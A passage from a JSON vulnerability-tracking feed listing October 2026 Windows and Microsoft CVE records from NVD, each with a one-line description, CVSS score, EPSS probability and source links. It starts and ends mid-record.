2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70245&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70245, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70241","cveId":"CVE-2026-70241","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:40.800Z","updatedAt":"2026-10-16T16:20:46.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70241","asOf":"2026-10-16T16:20:46.947Z"},"epss":{"probability":0.00304,"percentile":0.22944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70241&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70241","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70241","type":"primary","publishedAt":"2026-10-13T19:19:40.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70241&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70241, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70238","cveId":"CVE-2026-70238","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:40.617Z","updatedAt":"2026-10-16T16:20:46.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70238","asOf":"2026-10-16T16:20:46.773Z"},"epss":{"probability":0.00361,"percentile":0.29671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70238","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70238","type":"primary","publishedAt":"2026-10-13T19:19:40.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70237","cveId":"CVE-2026-70237","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:40.437Z","updatedAt":"2026-10-16T16:20:46.600Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70237","asOf":"2026-10-16T16:20:46.600Z"},"epss":{"probability":0.00326,"percentile":0.25458,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70237","type":"primary","publishedAt":"2026-10-13T19:19:40.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70233","cveId":"CVE-2026-70233","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:39.757Z","updatedAt":"2026-10-16T16:20:46.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70233","asOf":"2026-10-16T16:20:46.000Z"},"epss":{"probability":0.00495,"percentile":0.42203,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70233&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70233","type":"primary","publishedAt":"2026-10-13T19:19:39.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70233&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70233, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70230","cveId":"CVE-2026-70230","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:39.403Z","updatedAt":"2026-10-16T16:20:45.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70230","asOf":"2026-10-16T16:20:45.670Z"},"epss":{"probability":0.00307,"percentile":0.23265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70230&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70230","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70230","type":"primary","publishedAt":"2026-10-13T19:19:39.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70230&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70230, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70229","cveId":"CVE-2026-70229","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.","summary":"Incorrect authorization in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.","detail":"Incorrect authorization in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:39.210Z","updatedAt":"2026-10-16T16:20:45.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70229","asOf":"2026-10-16T16:20:45.497Z"},"epss":{"probability":0.01065,"percentile":0.64455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70229&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70229","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70229","type":"primary","publishedAt":"2026-10-13T19:19:39.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70229&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70229, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70228","cveId":"CVE-2026-70228","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Desktop Window Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:39.050Z","updatedAt":"2026-10-16T16:20:45.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70228","asOf":"2026-10-16T16:20:45.333Z"},"epss":{"probability":0.00373,"percentile":0.30973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70228&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70228","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70228","type":"primary","publishedAt":"2026-10-13T19:19:39.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70228&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70228, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70225","cveId":"CVE-2026-70225","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:38.720Z","updatedAt":"2026-10-16T16:20:45.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70225","asOf":"2026-10-16T16:20:45.083Z"},"epss":{"probability":0.00388,"percentile":0.32609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70225","type":"primary","publishedAt":"2026-10-13T19:19:38.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70223","cveId":"CVE-2026-70223","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Console Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Console Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Console Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:38.300Z","updatedAt":"2026-10-16T16:20:44.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70223","asOf":"2026-10-16T16:20:44.903Z"},"epss":{"probability":0.00314,"percentile":0.24067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70223","type":"primary","publishedAt":"2026-10-13T19:19:38.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70222","cveId":"CVE-2026-70222","aliases":[],"kind":"vulnerability","title":"Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.","summary":"Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.","detail":"Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:37.083Z","updatedAt":"2026-10-17T04:16:53.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70222","asOf":"2026-10-17T04:16:53.100Z"},"epss":{"probability":0.00402,"percentile":0.34133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70222","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70222","type":"primary","publishedAt":"2026-10-13T19:19:37.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70218","cveId":"CVE-2026-70218","aliases":[],"kind":"vulnerability","title":"Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally.","summary":"Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally.","detail":"Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:36.660Z","updatedAt":"2026-10-13T21:18:08.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70218","asOf":"2026-10-13T21:18:08.690Z"},"epss":{"probability":0.0036,"percentile":0.29553,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70218","type":"primary","publishedAt":"2026-10-13T19:19:36.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70213","cveId":"CVE-2026-70213","aliases":[],"kind":"vulnerability","title":"Origin validation error in Microsoft Power Apps allows an authorized attacker to execute code over a network.","summary":"Origin validation error in Microsoft Power Apps allows an authorized attacker to execute code over a network.","detail":"Origin validation error in Microsoft Power Apps allows an authorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:35.860Z","updatedAt":"2026-10-16T14:17:49.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70213","asOf":"2026-10-16T14:17:49.990Z"},"epss":{"probability":0.00386,"percentile":0.324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70213&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70213","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70213","type":"primary","publishedAt":"2026-10-13T19:19:35.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70213&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70213, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70212","cveId":"CVE-2026-70212","aliases":[],"kind":"vulnerability","title":"Improper restriction of communication channel to intended endpoints in Windows Security Center allows an authorized attacker to elevate privileges locally.","summary":"Improper restriction of communication channel to intended endpoints in Windows Security Center allows an authorized attacker to elevate privileges locally.","detail":"Improper restriction of communication channel to intended endpoints in Windows Security Center allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:35.697Z","updatedAt":"2026-10-16T17:17:48.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70212","asOf":"2026-10-16T17:17:48.023Z"},"epss":{"probability":0.00274,"percentile":0.19574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70212&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70212","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70212","type":"primary","publishedAt":"2026-10-13T19:19:35.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 